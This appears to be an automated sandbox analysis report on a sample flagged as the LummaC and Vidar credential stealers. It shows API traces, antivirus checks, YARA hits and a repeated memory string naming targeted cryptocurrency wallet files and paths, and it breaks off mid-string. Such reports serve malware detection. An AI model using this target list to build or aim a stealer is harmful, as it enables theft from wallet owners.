Source: C:\Users\user\Desktop\T2bmenoX1o.exe

Code function: 0_2_00DDE076 cpuid

0_2_00DDE076

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00DCC085
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetLocaleInfoW,	0_2_00DC622B
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: EnumSystemLocalesW,	0_2_00DCC372
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: EnumSystemLocalesW,	0_2_00DCC327
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00DCC498
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	0_2_00E0244B
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: EnumSystemLocalesW,	0_2_00DCC40D
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_00E045DE
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetLocaleInfoW,	0_2_00DCC6EB
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00DCC814
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00DCC9E9
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: GetLocaleInfoW,	0_2_00DCC91A
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	0_2_00E06AB8
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_00E07BA8
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	0_2_00E06DD6
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: EnumSystemLocalesW,	0_2_00DC5D7F
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00E05E2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00410DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	1_2_0042E834
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0042B25C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_0042B351
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_0042B3F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_0042B453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	1_2_0042ACD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	1_2_00425573
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_0042B624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	1_2_0042762C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	1_2_0042B6E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429EFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	1_2_0042E6FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_00428F54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B777
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00427706
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_0042B7B3
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	8_2_001CC085
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetLocaleInfoW,	8_2_001C622B
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: EnumSystemLocalesW,	8_2_001CC327
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: EnumSystemLocalesW,	8_2_001CC372
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: EnumSystemLocalesW,	8_2_001CC40D
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_001CC498
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetLocaleInfoW,	8_2_001CC6EB
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_001CC814
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetLocaleInfoW,	8_2_001CC91A
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_001CC9E9
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: EnumSystemLocalesW,	8_2_001C5D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe

Code function: 0_2_00DB7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00DB7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410C28 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00410C28

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410D03 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00410D03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AAFIIJDAAA.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2216121534.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.dddad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.dddad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: T2bmenoX1o.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7300, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia 